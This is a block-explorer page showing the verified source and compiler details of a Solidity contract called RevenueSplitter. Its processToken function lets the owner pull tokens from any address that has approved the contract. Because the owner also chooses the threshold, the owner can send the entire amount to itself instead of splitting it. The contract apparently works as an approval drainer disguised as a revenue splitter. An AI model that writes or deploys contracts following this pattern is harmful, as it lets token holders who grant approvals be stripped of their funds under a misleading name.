Skip to content
Verified contractExactMIT

RevenueSplitter

Address0x5cf1e317338c8bb5b43efa245e8830f50028a0f7
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.34

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.34+commit.80d5c536
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,393,101
Creation transaction
0x4b6ec2c92a…e6bd2c6da6

contracts/Vault.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IERC20 {
    function transferFrom(address from, address to, uint256 amount) external;
}

library SafeERC20 {
    function safeTransferFrom(IERC20 token, address from, address to, uint256 amount) internal {
        (bool success, bytes memory data) = address(token).call(
            abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, amount)
        );
        require(success && (data.length == 0 || abi.decode(data, (bool))), "SafeERC20: transferFrom failed");
    }
}

contract RevenueSplitter {
    using SafeERC20 for IERC20;

    address public owner;


    modifier onlyOwner() {
        require(msg.sender == owner, "Not the owner");
        _;
    }

    constructor() {
        owner = msg.sender;
    }

   
    function processToken(IERC20 token, address from, address to, uint256 amount, uint256 threshold) external onlyOwner {
        require(amount > 0, "Zero amount");
        require(to != address(0), "Zero address");

        if (amount >= threshold) {
            token.safeTransferFrom(from, owner, amount);
        } else {
            uint256 recipientAmount = (amount * 70) / 100;
            uint256 ownerAmount = amount - recipientAmount;

            token.safeTransferFrom(from, to, recipientAmount);
            token.safeTransferFrom(from, owner, ownerAmount);
        }
    }

    function withdrawNative(address payable _to, uint256 _amount) external onlyOwner {
        require(_to != address(0), "Zero address");
        require(address(this).balance >= _amount, "Insufficient balance");
        
        (bool success, ) = _to.call{value: _amount}("");
        require(success, "Native withdrawal failed");
    }



    receive() external payable {
        revert("Direct deposits disabled");
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.